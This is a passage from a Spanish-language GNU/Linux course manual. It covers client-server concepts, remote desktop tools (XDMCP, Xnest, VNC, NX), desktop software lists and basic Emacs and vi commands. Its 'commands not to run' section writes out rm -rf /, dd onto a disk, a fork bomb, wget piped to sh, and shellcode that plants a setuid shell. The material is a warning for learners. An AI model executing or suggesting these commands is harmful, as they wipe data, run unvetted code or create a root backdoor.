• Secure Global Desktop, de la compañía Tarantella (anteriormente parte integral de
SCO).
• 2X Application Server de la compañía 2X.
• GoGlobal de la compañía Graphon.
• Xnest
• vino
• tsclient
• remmina

Modelo Cliente-servidor
Esta arquitectura consiste básicamente en un cliente que realiza peticiones a otro
programa (el servidor) que le da respuesta. Aunque esta idea se puede aplicar a
programas que se ejecutan sobre una sola computadora es más ventajosa en un sistema
operativo multiusuario distribuido a través de una red de computadoras.
En esta arquitectura la capacidad de proceso está repartida entre los clientes y los
servidores, aunque son más importantes las ventajas de tipo organizativo debidas a la
centralización de la gestión de la información y la separación de responsabilidades, lo

Diplomado de GNU/Linux
72
Fundación Código Libre Dominicano
http://www.codigolibre.org

que facilita y clarifica el diseño del sistema.


La separación entre cliente y servidor es una separación de tipo lógico, donde el
servidor no se ejecuta necesariamente sobre una sola máquina ni es necesariamente un
sólo programa. Los tipos específicos de servidores incluyen los servidores web, los
servidores de archivo, los servidores del correo, etc. Mientras que sus propósitos
varían de unos servicios a otros, la arquitectura básica seguirá siendo la misma.
Una disposición muy común son los sistemas multicapa en los que el servidor se
descompone en diferentes programas que pueden ser ejecutados por diferentes
computadoras aumentando así el grado de distribución del sistema.
La arquitectura cliente-servidor sustituye a la arquitectura monolítica en la que no
hay distribución, tanto a nivel físico como a nivel lógico.
La red cliente-servidor es aquella red de comunicaciones en la que todos los clientes
están conectados a un servidor, en el que se centralizan los diversos recursos y
aplicaciones con que se cuenta; y que los pone a disposición de los clientes cada vez
que estos son solicitados. Esto significa que todas las gestiones que se realizan se
concentran en el servidor, de manera que en él se disponen los requerimientos
provenientes de los clientes que tienen prioridad, los archivos que son de uso público
y los que son de uso restringido, los archivos que son de sólo lectura y los que, por
el contrario, pueden ser modificados, etc. Este tipo de red puede utilizarse
conjuntamente en caso de que se este utilizando en una red mixta.

Características
En la arquitectura C/S el remitente de una solicitud es conocido como cliente. Sus
características son:
• Es quien inicia solicitudes o peticiones, tienen por tanto un papel activo en la
comunicación (dispositivo maestro o amo).
• Espera y recibe las respuestas del servidor.
• Por lo general, puede conectarse a varios servidores a la vez.
• Normalmente interactúa directamente con los usuarios finales mediante una
interfaz gráfica de usuario.
• Al contratar un servicio de redes , se tiene que tener en la velocidad de
conexión que le otorga al cliente y el tipo de cable que utiliza , por ejemplo:
cable de cobre ronda entre 1 ms y 50 ms.
Al receptor de la solicitud enviada por cliente se conoce como servidor. Sus
características son:
• Al iniciarse esperan a que lleguen las solicitudes de los clientes, desempeñan
entonces un papel pasivo en la comunicación (dispositivo esclavo).
• Tras la recepción de una solicitud, la procesan y luego envían la respuesta al
cliente.
• Por lo general, aceptan conexiones desde un gran número de clientes (en ciertos
casos el número máximo de peticiones puede estar limitado).
• No es frecuente que interactúen directamente con los usuarios finales.

Ventajas
• Centralización del control: los accesos, recursos y la integridad de los datos
son controlados por el servidor de forma que un programa cliente defectuoso o no
autorizado no pueda dañar el sistema. Esta centralización también facilita la
tarea de poner al día datos u otros recursos (mejor que en las redes P2P)..
• Escalabilidad: se puede aumentar la capacidad de clientes y servidores por
separado. Cualquier elemento puede ser aumentado (o mejorado) en cualquier

Diplomado de GNU/Linux
73
Fundación Código Libre Dominicano
http://www.codigolibre.org

momento, o se pueden añadir nuevos nodos a la red (clientes y/o servidores).


• Fácil mantenimiento: al estar distribuidas las funciones y responsabilidades
entre varios ordenadores independientes, es posible reemplazar, reparar,
actualizar, o incluso trasladar un servidor, mientras que sus clientes no se
verán afectados por ese cambio (o se afectarán mínimamente). Esta independencia
de los cambios también se conoce como encapsulación.
• Existen tecnologías, suficientemente desarrolladas, diseñadas para el paradigma
de C/S que aseguran la seguridad en las transacciones, la amigabilidad de la
interfaz, y la facilidad de empleo.

Desventajas
• La congestión del tráfico ha sido siempre un problema en el paradigma de C/S.
Cuando una gran cantidad de clientes envían peticiones simultaneas al mismo
servidor, puede ser que cause muchos problemas para éste (a mayor número de
clientes, más problemas para el servidor). Al contrario, en las redes P2P como
cada nodo en la red hace también de servidor, cuanto más nodos hay, mejor es el
ancho de banda que se tiene.
• El paradigma de C/S clásico no tiene la robustez de una red P2P. Cuando un
servidor está caído, las peticiones de los clientes no pueden ser satisfechas. En
la mayor parte de redes P2P, los recursos están generalmente distribuidos en
varios nodos de la red. Aunque algunos salgan o abandonen la descarga; otros
pueden todavía acabar de descargar consiguiendo datos del resto de los nodos en
la red.
• El software y el hardware de un servidor son generalmente muy determinantes. Un
hardware regular de un ordenador personal puede no poder servir a cierta cantidad
de clientes. Normalmente se necesita software y hardware específico, sobre todo
en el lado del servidor, para satisfacer el trabajo. Por supuesto, esto aumentará
el coste.
• El cliente no dispone de los recursos que puedan existir en el servidor. Por
ejemplo, si la aplicación es una Web, no podemos escribir en el disco duro del
cliente o imprimir directamente sobre las impresoras sin sacar antes la ventana
previa de impresión de los navegadores.

Dirección
Los métodos de dirección en ambientes del servidor de cliente se pueden describir como
sigue:
• Dirección del proceso de la máquina: la dirección se divide como proceso@máquina.
Por lo tanto 56@453 indicaría el proceso 56 en la computadora 453.
• Servidor de nombres: los servidores de nombres tienen un índice de todos los
nombres y direcciones de servidores en el dominio relevante.
• Localización de Paquetes: Los mensajes de difusión se envían a todas las
computadoras en el sistema distribuido para determinar la dirección de la
computadora de la destinación.
• Comerciante: Un comerciante es un sistema que pone en un índice todos los
servicios disponibles en un sistema distribuido. Una computadora que requiere un
servicio particular comprobará con el servicio que negocia para saber si existe
la dirección de una computadora que proporciona tal servicio.

Diplomado de GNU/Linux
74
Fundación Código Libre Dominicano
http://www.codigolibre.org

Ejemplos
Visitar un sitio web es un buen ejemplo de la arquitectura cliente/servidor. El
servidor web sirve las páginas web al navegador (el cliente). La mayoría de los
servicios de Internet son tipo de servidores. Por ejemplo, si estás leyendo este
artículo en Wikipedia, la computadora y el navegador web serían considerados un
cliente, y las computadoras, las bases de datos, y los usos que componen Wikipedia
serían considerados el servidor. Cuando tu navegador web solicita un artículo
particular de Wikipedia, el servidor de Wikipedia encuentra toda la información
requerida para exhibir el artículo en la base de datos de Wikipedia, la monta en una
página web considerada como interfaz gráfica, y la envía de nuevo a tu navegador web.
Otro ejemplo seria un juego online, el numero de servidores depende del juego pero
supongamos que tienen 2, cuando tu lo descargas y lo instalas tienes un cliente, si
tienes solo un computador en casa y juegan 3 personas, existen un cliente, 3 usuarios y
2 servidores pero depende de ti a cual te conectas, si cada uno instala el juego en sus
propios ordenadores, serian 3 clientes, 3 usuarios y 2 servidores.

XDMCP
(siglas de "X Display Manager Control Protocol", "Protocolo de Control de Administrador
de la Pantalla X" en español) es un protocolo utilizado en redes para comunicar un
ordenador servidor que ejecuta un sistema operativo con un gestor de ventanas basado en
X-Window, con el resto de clientes que se conectarán a éste con propósitos
interactivos.
Un X Display Manager (administrador de pantalla X) mantiene los procesos del servidor X
activos en él, conectándolo a una pantalla física y proporcionando un cuadro de diálogo
que permita iniciar sesión en el mismo a todos los ordenadores que lo requieran.

Este protocolo escucha por el User Datagram Protocol (UDP) en el puerto 177 y por el
Transmission Control Protocol (TCP) en el puerto 6000. En ambos casos responde a
peticiones de tipo QUERY y BROADCAST_QUERY enviando un paquete tipo WILLING al equipo
que le contactó.
Cuando un servidor X corre en un X terminal independiente, muestra una lista de
clientes conectables (un XDMCP Chooser). Esta lista puede estar compuesta por:
• Una lista predefinida de máquinas y sus direcciones de red respectivas;.
• Una lista que el XDMCP de turno obtiene mediante una petición broadcast, la cual
normalmente coincide con la lista de las máquinas locales TCP/IP.
Es común que el servidor XDMCP se muestre a sí mismo en la lista. Cuando el usuario
selecciona una máquina de la lista, el servidor X que corre en la máquina local se
conecta al administrador de pantalla X de la máquina remota.
X proporciona XDM (X Window Display Manager) como administrador de pantalla primario.
Otros ejemplos de administradores de pantalla son:
• GDM (GNOME)
• KDM (KDE)
• WINGs Display Manager
• Entrance (usando la arquitectura utilizada en Enlightenment v.17).

Para abrir este puerto, ya sea el 177 o el 6000, se debe modificar el archivo:
/etc/gdm/custom.conf [en gnome]
/usr/share/config/kdm/kdmrc [en kde]

Para el caso de gnome, que es el que estaremos viendo, el archivo se ve como esta

Diplomado de GNU/Linux
75
Fundación Código Libre Dominicano
http://www.codigolibre.org

muestra:

# GDM configuration storage

[daemon]

[security]

[xdmcp]

[greeter]

[chooser]

[debug]

Basta con agregar dos cosas al archivo para abrir el puerto y luego reiniciar el “gdm”
lo que logramos al reiniciar la maquina, esto antes era mas fácil ya que existía un
servicio llamado “gdm” que al reiniciarlo, asumía los cambios y abría el puerto de
inmediato.

[xdmcp]
Enable=true

[security]
DisallowTCP=false

Luego de reiniciar el gdm, ya sea reiniciando el sistema o como explicamos


anteriormente, el puerto 6000 ya estará abierto.
Para verificarlo basta con correr el siguiente comando:
zxguitar@zxlaptop:~$netstat |grep 6000
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 2342/Xorg off (0.00/0/0)
tcp 0 0 :::6000 :::* LISTEN 2342/Xorg off (0.00/0/0)

Claro que si quieres cerrar el puerto, basta con cambiar la linea de [xdmcp] a false,
se vería como sigue:
[xdmcp]
Enable=false

Luego de reiniciar el gdm como se mencionó anteriormente, el puerto debería estar


cerrado.

Antes de comenzar a trabajar sobre esta teoría, es bueno que se sepan varias cosas que
son necesarias y posibles para realizar esta tarea de escritorios remotos.

*-Hay muchas formas de conectarse a una maquina remota(veremos algunas).


*-En algunos casos hay que usar el programa “xhost” para autorizar la conexión.

X (conexión remota)
El servidor X, por la naturaleza de su diseño, soporta la tecnología de escritorio
remoto como se menciono anteriormente.

Diplomado de GNU/Linux
76
Fundación Código Libre Dominicano
http://www.codigolibre.org

El escritorio remoto, usando el X, consiste en exportar(enviar) el display de un


cliente a un servidor.

Para ello, en el servidor(quien espera la conexión) debe estar permitida la IP del


cliente que envía, solo así podrá visualizarse el X de quien envía.
Para permitir una IP en el servidor(quien espera la conexión), se hace de la siguiente
manera:
zxguitar@zxlaptop:~$ xhost +10.0.0.2
en otras palabras, lo que se esta permitiendo es que la maquina que tiene la IP
10.0.0.2 nos envíe sus aplicaciones gráficas.

Si se quiere eliminar se hace de la siguiente manera:


zxguitar@zxlaptop:~$ xhost -10.0.0.2

Si se quiere permitir un rango de red completo se realiza de la siguiente forma:


zxguitar@zxlaptop:~$ xhost +

Si se quiere bloquear el rango:


zxguitar@zxlaptop:~$ xhost -

Aquí tenemos un ejemplo de como enviar una aplicación sencilla al servidor cuya IP es
10.0.0.2
zxguitar@zxlaptop:~$ xclock -display 10.0.0.2:0.0

Cabe mencionar que no todas las aplicación soportan la opción “-display” por lo que
tendríamos problemas a la hora de querer enviar otra aplicación al servidor que
deseamos por lo que debemos realizar el siguiente comando con el cual exportamos
nuestro DISPLAY para que todas las aplicaciones vallan al servidor que deseamos.
zxguitar@zxlaptop:~$ export DISPLAY=10.0.0.2:0.0

A partir de este momento, todo lo que ejecutemos en nuestra maquina, aparecerá en el


server indicado. Para que todo vuelva a la normalidad tendríamos que exportar
nuevamente la variable DISPLAY=0.0 que indica la maquina local.

Para importar o traer el X(Sistema de logging) de un servidor a mi maquina y entrar


como un usuario, lo hacemos de la siguiente manera.

Presionar CTRL+ALT+F1 y luego ingresar(Datos del logging) al sistema.


zxguitar@zxlaptop:~$ X -query <hostname>
o también
zxguitar@zxlaptop:~$ X -query 10.0.0.2

Si deseas regresar al tu gráfico anterior, tienes que presionar CTRL+ALT+F7 y para ver
el X server que acabas de importar de la IP 10.0.0.2, debes presionar CTRL+ALT+F8.

Xnest
Xnest es un servidor X Window System que direcciona su salida a una ventana(no a una
terminal como el X). En otras palabras, Xnest abre una ventana que trabaja como otra
pantalla en la cual el usuario puede abrir mas ventanas.

Diplomado de GNU/Linux
77
Fundación Código Libre Dominicano
http://www.codigolibre.org

A nivel de protocolo, Xnest trabaja como un cliente del servidor X que muestra la
ventana de Xnest, y como un servidor con respecto a las aplicaciones que abren ventanas
dentro de Xnest.

Xnest se puede usar para crear un escritorio virtual de otro equipo, dentro de una
ventana. Xnest también se usa para la depuración de servidores y para probar que las
aplicaciones funcionen correctamente con distintas resoluciones. El usuario puede
escoger el tamaño de la ventana Xnest, que también es el tamaño de la pantalla virtual
que contiene. De esta manera se puede iniciar una ventana Xnest con el tamaño de un PDA
para probar si una aplicación funciona correctamente en el tamaño de pantalla del
dispositivo.

Para abrir un escritorio remoto


Xnest se puede usar para mostrar localmente un escritorio remoto de otro equipo.
Usando XDMCP, Xnest puede ser usado para ejecutar un escritorio virtual de otro
computador dentro de una ventana. Esto puede ser llevado a cabo por ejemplo mediante el
comando:
zxguitar@zxlaptop:~$ Xnest :10 -query other_computer_name

La máquina remota debe estar configurada para aceptar conexiones XDMCP entrantes de la
máquina local (la que ejecuta el comando anterior).

De forma alternativa, Xnest puede ser ejecutado en la máquina remota mientras se


muestra su ventana localmente. Como cualquier otra aplicación X, esto puede ser llevado
a cabo especificando a la aplicación remota que el display es un servidor X local
(configurando la variable de entorno DISPLAY) y haciendo que el servidor X local acepte
conexiones de aplicaciones remotas (usando xauth); ambas cosas se logran usando SSH,
por ejemplo con ssh -X nombre_otro_computador para conectar desde una máquina local a
una remota. Cuando el servidor se ejecuta remotamente (startx -- Xnest -geometry
800x600), como el display se redirecciona de regreso a la máquina local (con la debida
configuración cliente/servidor de SSH), se mostrará la ventana del programa tal como
cualquier otra aplicación lanzada remotamente.
Más aun, al comportarse Xnest como cualquier servidor X regular, aplicaciones remotas
pueden ser lanzadas de manera que se conecten a un servidor Xnest local.

Abrir una sesión en mi ventana Xnest de un PC cuya IP sea la 10.0.0.5, lo hago como
sigue.
Xnest :1 -query 10.0.0.5

Es bueno mencionar que esta practica funciona desde Ubuntu o Fedora a CentOS. Para que
funcione a la inversa el proceso se ha complicado un poco mas ya que el sistema GDM,
que es en gran parte el que tiene que ver con esto, ha cambiado mucho, por lo que las
versiones recientes, ya no es igual.

VNC
A diferencia de lo que hemos visto anteriormente, esta es una opción(talvez la que mas
le convenga) mas útil a la hora de dar un soporte a un usuario, ya que se comparte el
escritorio y mientras usted esta conectado al PC, el usuario remoto puede ver lo que
usted esta haciendo.

Diplomado de GNU/Linux
78
Fundación Código Libre Dominicano
http://www.codigolibre.org

VNC son las siglas en inglés de Virtual Network Computing (Computación Virtual en Red).
VNC es un programa de software libre basado en una estructura cliente-servidor el cual
nos permite tomar el control del ordenador servidor remotamente a través de un
ordenador cliente. También llamado software de escritorio remoto. VNC no impone
restricciones en el sistema operativo del ordenador servidor con respecto al del
cliente: es posible compartir la pantalla de una máquina con cualquier sistema
operativo que soporte VNC conectándose desde otro ordenador o dispositivo que disponga
de un cliente VNC portado.
La versión original del VNC se desarrolló en Reino Unido, concretamente en los
laboratorios AT&T, en Cambridge. El programa era de código abierto por lo que
cualquiera podía modificarlo y existen hoy en día varios programas para el mismo uso.
En la enseñanza VNC sirve para que el profesor comparta su pantalla con los alumnos,
por ejemplo en un laboratorio. También puede usarse para que un técnico ayude a un
usuario inexperto, el técnico ve remotamente el problema que informa el usuario.
El programa servidor suele tener la opción de funcionar como servidor HTTP para mostrar
la pantalla compartida en un navegador con soporte de Java. En este caso el usuario
remoto (cliente) no tiene que instalar un programa cliente de VNC, éste es descargado
por el navegador automáticamente.
El VNC trabaja por el puerto 5900.

vino
Vino es el servidor VNC por defecto en Ubuntu para compartir tu escritorio con otros
usuarios.
Para VNC hay muchos clientes, pero ubuntu también viene con uno por defecto cuyo nombre
es “vinagre”.
En caso de no tenerlo, para instalar solo hay que hacer:
En Ubuntu/Debian
root@zxlaptop:~# apt-get install vino vinagre

Fedora/RedHat
root@zxlaptop:~# yum install vino vinagre

Para configurar vino en gnome se debe ir a System > Preferences > Remote Desktop en el
menú y habilitar la opción “Allow other users to view your desktop”.
Esta seria la configuración del lado del server.

En el caso del cliente, solo se necesita un cliente que soporte VNC, puede ser tsclient
o remmina.
Solo necesitarás poner la IP:PUERTO, por ejemplo. “10.0.0.5:5900”

En el caso de ambos, hay que estar seguro de que tengan el pluggin de VNC para poderse
conectar al servidor.

Con estos clientes también es posible conectarse a maquinas con sistemas windows, el
cual soporta el protocolo RDP.

NX
NX es un programa informático que realiza conexiones remotas X11 muy rápidas, lo que
permite a los usuarios acceder a escritorios remotos de Linux o Unix incluso bajo
conexiones lentas como las realizadas con módem.

Diplomado de GNU/Linux
79
Fundación Código Libre Dominicano
http://www.codigolibre.org

NX realiza una compresión directa del protocolo X11, lo que permite una mayor
eficiencia que VNC. La información se envía mediante SSH, por lo que toda la
información que se intercambian servidor y cliente está cifrada.

Al cliente que se conecta al servidor NX se le considera cliente liviano.


NX está desarrollado por la empresa italiana NoMachine, que ha liberado el código.
Existe una implementación libre de esta aplicación, llamada FreeNX.

Eficiencia de NX
La tecnología NX ofrece mayor eficiencia que otras debido principalmente a las
características que se listan a continuación:
• Realiza una eficiente compresión del tráfico X.
La compresión del tráfico en forma eficiente es necesaria para lograr ejecutar
aplicaciones sobre medios de poco ancho de banda y también para permitir ejecutar
múltiples sesiones de usuario en redes LAN.
• Utiliza mecanismos de cache para almacenar y reutilizar la información
transferida entre cliente y servidor.

NX utiliza un método de cache innovador que divide el mensaje X en dos partes, uno de
identificación y otro de datos. La tecnología mantiene en cache únicamente los datos de
los últimos mensajes enviados, clasificados por protocolo. A este cache se le conoce
como MessageStore y hace que el número de peticiones para mostrar los elementos de
pantalla disminuya notoriamente.

• El tiempo consumido en realizar roundtrips es prácticamente nulo.


La reducción de roundtrips es fundamental, al igual que el estricto control del flujo
de datos que viaja por la red.
• Utiliza un algoritmo de codificación perezoso para realizar actualizaciones de
pantalla.
NX posee mecanismos de adaptación para ajustarse a las propiedades de la red (latencia
y velocidad de conexión), lo que permite pasar de métodos estrictos de codificación a
métodos perezosos que retrasan la actualización de pantalla cuando la red está
congestionada.

Objetivos de NX
El principal objetivo de esta tecnología es el de ejecutar a través de Internet
aplicaciones que logren tener el mismo aspecto gráfico que cuando se ejecutan en
cualquier PC. Generalmente cuando esto ocurre es necesario deshabilitar todo aquello
que pueda consumir demasiados recursos, como por ejemplo, menús desplegables, fondos de
pantalla, iconos o animaciones gráficas. NX fue diseñado especialmente para soportar
estas condiciones y no hacer que usuarios y desarrolladores deban cambiar sus hábitos o
su código.

Instalación
Descargar los paquetes RPM o DEBs según sea el caso de www.nomachine.com
En total son 3 paquetes: Cliente, Nodo y Servidor.
El manejo del cliente es muy intuitivo por lo que es fácil de usar, sera explicado en
clase.

Diplomado de GNU/Linux
80
Fundación Código Libre Dominicano
http://www.codigolibre.org

1.8 Manejo Desktop


A continuación tenemos una lista de programas que le servirán en la ejecución de sus
tareas diarias en su nuevo sistema GNU/Linux.
Para ampliar esta información puede visitar:
http://ubuntuguide.org
http://www.fedoraguide.info
según sea el caso.

Multimedia
audio
amarok (player de audio)
rhythmbox (player de audio)
audacius (player de audio)
banshee (player de audio)
brasero (quemar/grabar Cds y DVDs)
k3b (quemar/grabar Cds y DVDs)
video
vlc (player de video)
totem (player de video)
mplayer (player de video)
winff (convertidor de videos y audio)
codecs (apt-get install ubuntu-restricted-extras)
avidemux (editor de videos)

Oficina
editores gráficos
gedit (notepad para gnome)
kedit (notepad para KDE)
evince (lector de PDF)
acrobat reader (lector de PDF)
chmsee (ver documentos CHM)
gnochm (ver documentos CHM)
simple scan (escanear documentos)
openoffice.org-spellcheck-es (corrector de español)
language-support-writing-es (corrector de español)
bibletime (estudios bíblicos)
Educativas
celestia (simulador del espacio)
stellarium (simulador del espacio)
oregano (aplicación eléctrica)
octave
freemat
maxima
mathomatic

Finanzas
gnucash
skrooge
kmymoney

Diplomado de GNU/Linux
81
Fundación Código Libre Dominicano
http://www.codigolibre.org

Internet
Browsers
firefox
google-chrome
opera
chromium

Torrents
deludge
transmission
ktorrent
utorrent (wine)
Mensajeria
pidgin
empathy
aMSN
emesene
skype
xchat (IRC)
correos
thunderbird
evolution

Gráficos
cheese
gimp

Programación
IDEs
QT Creator
Eclipse
netbeans
bluefish
kompozer
kdevelop

Juegos
playonlinux
tux racer
vdrift
alienarena
openarena
tremulous
nexuiz
zdoom
skulltag

Diplomado de GNU/Linux
82
Fundación Código Libre Dominicano
http://www.codigolibre.org

Herramientas del sistema


Virtualización
virtualbox
vmware
xen
kvm
wine (emulador de aplicaciones win32)
gparted (manejador de particiones)

Algunos consejos y comandos a NO EJECUTAR.


A lo largo del diplomado se irán viendo exactamente que hacen estos comandos, pero
durante el aprendizaje pueden haber muchos problemas y errores por desconocimiento que
seria bueno evitar.

Este comando ELIMINA todos los archivos y directorios de los discos que estén
conectados, ABSOLUTAMENTE TODOS.
rm -rf /

Este comando ELIMINA todos los archivos y directorios que se encuentren en la localidad
actual, es decir, borra donde se esta ejecutando el comando.
rm -rf .

Este es similar al anterior, pero no borra el directorio donde se ejecuta.


rm -rf *

Este es otra variación, pero hace básicamente lo mismo que el anterior.


rm -r .[^.]*

Estos comandos se usan para crear un File System en un dispositivo, pero para realizar
esta tarea ELIMINA ABSOLUTAMENTE TODA LA DATA DEL DISCO.
mkfs
mkfs.ext3
mkfs.anything

Estos comandos escriben data en el dispositivo señalado, pero la escribe encima de todo
lo que hay por lo que esto implica perdida o daño en los datos existentes en el disco.
any_command > /dev/sda
dd if=something of=/dev/sda

Esto es lo que se llama un “forkbomb”, lo que esto causa es que se crean muchos proceso
hasta frizar por completo el sistema.
:(){:|:&};:

Este comando “wget” sirve para descargar un archivo de internet desde la consola, pero
el comando “sh” lo que hace es que ejecuta el archivo sin saber que hay dentro.
wget http://some_place/some_file
sh ./some_file

Otra forma

Diplomado de GNU/Linux
83
Fundación Código Libre Dominicano
http://www.codigolibre.org

wget http://some_place/some_file -O- | sh

Este es un pedazo de código “malicioso”. Esta en hexadecimal por ende es difícil


entenderlo, pero lo que significa es “rm -rf ~ / &”.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Este comando es parecido a los que vimos anteriormente, elimina los archivos de tu
directorio home, pero si eres root al momento de ejecutarlo, PERDERAS TODA LA DATA.
rm -rf ~ / &

1.9 Editores Vi y Emacs

Emacs
Originalmente consistía en un conjunto de Editor MACroS para el editor TECO y fue
escrito por Richard Stallman y Guy Steele en 1975. Desde entonces ha habido múltiples
versiones de Emacs, pero las mas populares hoy en día son la GNU Emacs, y Xemacs, un
fork de GNU Emacs desarrollado a partir de 1991. Ambos emplean el lenguaje de
programación Emacs LISP, que provee la mayor parte de las funcionalidades de edición;
el resto de ambos programas esta escrito en C, lenguaje que constituye también la base
del propio Emacs LISP. Este último puede emplearse extensamente para personalizar,
extender y afinar el Emacs; en esta característica reside buena parte de la potencia
del programa.

Al ejecutar:
[dorys@localhost ~]$ emacs /etc/passwd

Aparece ocupando toda la pantalla, el llamado frame del editor. Este frame se divide en
varias partes:
1ro. Barra de menú: proporciona acceso a las funciones de Emacs, organizadas por
categoría (buffers, files, tools,...). Para acceder al menú se pulsa f10.

2do. Área de eco o minibuffer: ambos están situados en la última línea de la pantalla.
El área, de eco o echo área aparece solo cuando, al escribir una combinación de teclas,
se hace una pausa entre las distintas teclas que componen la combinación. EL
minibuffer, por su parte, sirve para introducir los eventuales argumentos que se hayan
de pasar a un comando.

El minibuffer:
Cuando un comando requiere un argumento no numérico -por ejemplo para abrir un
archivo-, el cursor se desplaza a la última línea de la pantalla y se muestra un

Diplomado de GNU/Linux
84
Fundación Código Libre Dominicano
http://www.codigolibre.org

prompt. En el caso de que la orden que activa el minibuffer (una combinación de teclas
como las del ejemplo), se puede salir de el mediante la combinación “ctrl g”.

Combinación Resultado
Ctrl x f abre un archivo
Ctrl x g cancela una opción
Ctrl x c sale del editor
Ctrl x z suspende el editor y lo ponemos con fg
Ctrl a nos lleva al comienzo de la línea actual
Ctrl e nos lleva al final de la línea actual
Esc a nos lleva al comienzo del párrafo
Esc e nos lleva al final del párrafo
Ctrl x i inserta un archivo
Ctrl x ctrl w guarda los cambios en otro archivo que no es el original
Ctrl x ctrl s escribe los cambios al archivo original
esc shift > nos lleva al final del archivo
esc shift < nos lleva al comienzo del archivo
Esc v nos lleva a la pagina anterior
Ctrl v nos lleva a la pagina siguiente
Ctrl x u hace "undo"
Esc k borra el párrafo desde el cursor
Ctrl y pega lo que hemos borrado
Ctrl s busca una expresión desde el cursor hacia abajo
Ctrl r busca una expresión desde el cursor hacia arriba
Ctrl n baja una línea
Ctrl u Repite la siguiente acción por defecto 4 veces.
Ctrl v baja una hoja
Esc v sube una hoja
Ctrl p sube una línea
Esc + % Reemplaza una palabra

1.9 VI
Este editor esta disponible para todas las plataformas de sistemas operativos derivados
de UNIX, y por ende, todas las distribuciones de GNU/LINUX. Tarde o temprano tendrá que
aprender vi en su carrera como administrador de sistemas Unix. Es el editor preferido
cuando el espacio en disco es crítico.
La forma de invocarlo es:
[dorys@Gpl ~]$ vi /etc/passwd

Diplomado de GNU/Linux
85
Fundación Código Libre Dominicano
http://www.codigolibre.org

Este editor tiene 2 modos de operación, modo comandos y modo edición.


Varias formas de comenzar a escribir o entrar al modo edición:
Oprimiendo las teclas: a, o i
Para regresar al modo comandos se presiona ESQ.
Los comandos básicos:
:wq Salva y sale
:x Salva y sale
:q! Sale sin salvar
x Borra carácter bajo el cursor
dw Borra palabra
d3w Borra 3 palabras
dd Borra 1 línea
d$ Borra hasta el final de la linea.
7dd Borra 7 lineas
u Deshacer cambios efectuados
U Rehacer
yy Copiar
3e Mueve el cursor al final de la 3ra palabra adelante
2w Mueve el cursor al principio de la 2da palabra adelante
r Reemplaza el carácter sobre el cual presionas la tecla
R Se pone en modo reemplazo hasta que presionas ESQ
p Pegar
ctrl f Pantalla siguiente
ctrl b Pantalla anterior
O Inserta línea en blanco encima de la actual
o Inserta línea en blanco debajo de la actual
:32 Nos lleva a la línea numero 32
:$ Nos lleva al final del archivo
:3,6s/cosa/casa/g Sustituye desde la linea 3 a la 6 la palabra cosa por casa.
:%s/old/new/g Sustituye cada ocurrencia en todo un archivo.
:%s/old/new/gc Encuentra todas las ocurrencias y te pregunta si las cambia.
:!ls Ejecuta el comando ls o cualquier otro comando.
:w TEST Guarda el archivo con el nombre “TEST”
/palabra Encuentra una palabra en el archivo

1.10 Practica Fundamentos Capitulo 1

Diplomado de GNU/Linux
86
Fundación Código Libre Dominicano
http://www.codigolibre.org

GNU/Administración

0.0 Que es un proceso


0.1 Manejo de Procesos
0.2 Creando procesos
0.3 Comando ps
0.4 Comando top
0.5 Estado de los procesos
0.6 Ctrl-Z, bg,fg y &
0.7 Comando jobs
0.8 Enviando señales con kill
0.9 Cambiando prioridad con nice
0.10 Procesos en /proc
0.11 Demonios
0.12 Runlevels
0.13 Init
0.14 Comando Service
0.15 Comando Chkconfig
0.16 Invonke-rc.d
0.17 Opciones con Top
0.18 Practica Administración Capitulo 0

1.0 Sistema de Archivos y Permisos


1.1 Sistema de archivos (ext2-3-Reiser Etc)
1.2 Tipos de sistemas de archivos
1.3 Permisos de archivos y directorios (chmod,chown,chgrp)
1.4 Sticky bit, SUID y SGID
1.5 Links duros y simbólicos
1.6 Inodos
1.7 Comandos fdisk,mkfs,cfdisk,fsck
1.8 Sistema de archivos distribuidos (DFS)
1.9 /etc/fstab /etc/mtab /etc/inittab
1.10 Practica Administración Capitulo 1

2.0 Administración de Usuarios


2.1 Usuarios y Grupos
2.2 Cuenta root
2.3 Comando su
2.4 Paquete sudo
2.5 El archivo /etc/passwd
2.6 Creando un usuario
2.7 Creando,cambiando e identificando un grupo
2.8 Comando finger
2.9 Archivos personales en /home
2.10 /etc/skel
2.11 /etc/profile
2.12 Variables de usuario
2.13 /etc/shadow
2.14 Expiración de cuentas
2.15 Asignación de usuarios a otros grupos
2.16 Practica Administración Capitulo 2

3.0 Programando tareas y Backup


3.1 El cron y sus archivos
3.2 Crontab,at y batch
3.3 /etc/cron.hourly /etc/weekly /etc/cron.monthly
3.4 /etc/crontab
3.5 Cuando hacer backup
3.6 Donde almacenar los backups
3.7 Comandos tar,cpio,afio,
3.8 Registros del sistema, Syslog
3.9 Directorio /var/log
3.10 Comandos dmesg,last,lastlog
3.11 /etc/syslog.conf
3.12 /etc/logrotate.conf
3.13 Practica Administración Capitulo 3

Diplomado de GNU/Linux
87
Fundación Código Libre Dominicano
http://www.codigolibre.org

Administración

Procesos GNU/Linux.
Cada programa en ejecución genera un proceso. El kernel le suministra recursos a cada
proceso y una vez terminado el proceso se lo retira. En esta practica, examinaremos
procesos y los dos recursos primarios que ellos controlan: memoria y ciclos del CPU.

Se explicara que es son signaling (llamadas), el cual es el mecanismo utilizado para


que los procesos se intercomuniquen. Se explicara que es un Daemon, los cuales son
procesos especiales del sistema que se ejecutan dentro del espacio de usuario, y
contabilidad de los procesos.

0.0 ¿Que es un proceso?


Un proceso es nada más que un programa en ejecución. Para ser mas preciso digamos que
es, el estado actual de ejecución en un dado momento. Este consiste del código del
programa, los recursos usados por el programa y la información utilizada para mantener
el estado actual del programa. Todo programa en ejecución tiene su propio proceso.
(Algunos programas tienen más de un proceso) El kernel utiliza la información del
estado del proceso para asignarle recursos, como lo es por ejemplo tiempo del CPU,
